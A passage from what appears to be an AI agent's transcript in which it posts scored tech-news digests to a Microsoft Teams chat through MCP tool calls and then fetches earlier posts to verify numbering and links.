\"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nAI demand broadens the chip boom across Asia \u2014 Score: 31/35. AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\nCoherent expands the optical backbone for AI systems in Texas \u2014 Score: 31/35. Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\nJX Advanced Metals expands optical-wafer capacity for AI data centers \u2014 Score: 31/35. JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\nSK Hynix ships samples of next-generation HBM4E memory \u2014 Score: 30/35. SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\nUS CHIPS award backs SandboxAQ materials discovery \u2014 Score: 30/35. A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\nApple warns device prices will rise with memory costs \u2014 Score: 29/35. Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\nResearchers combine sensing, memory and processing for AI devices \u2014 Score: 29/35. A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\nAI-assisted process targets next-generation 2D chips \u2014 Score: 29/35. Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\nNvidia says AI infrastructure will expand manufacturing jobs \u2014 Score: 29/35. Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\nTencent-backed Enflame moves toward an AI-chip IPO \u2014 Score: 29/35. Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863295479\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nRoute 53 DNS Firewall integrates Palo Alto threat protection \u2014 Score: 31/35. Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\nMicrosoft fixes failed Windows Server 2016 security updates \u2014 Score: 30/35. Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\nAmazon RDS adds Graviton5 M9g database instances \u2014 Score: 30/35. RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\nCloudWatch centralizes metrics across accounts and regions \u2014 Score: 30/35. CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\nAWS expands nested virtualization across Intel instances \u2014 Score: 30/35. AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\nCloudWatch Query Studio reaches general availability \u2014 Score: 29/35. CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\nCNCF program expands Arm64 testing for open-source projects \u2014 Score: 29/35. CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\nAWS improves EBS rightsizing with spike-aware metrics \u2014 Score: 28/35. Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\nApple patches a high-severity Beats eavesdropping flaw \u2014 Score: 27/35. Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\nGameLift improves container fleets for game servers \u2014 Score: 27/35. GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863296933\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> \n>\n> All ten additional posts are now live. I\u2019m doing a final verification sweep\u2014ten messages, ten scored items each, correct pass numbering, and working Teams message links\u2014before I hand it back.\n>\n> \nDeleted 3 files, ran a command, called 10 tools\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   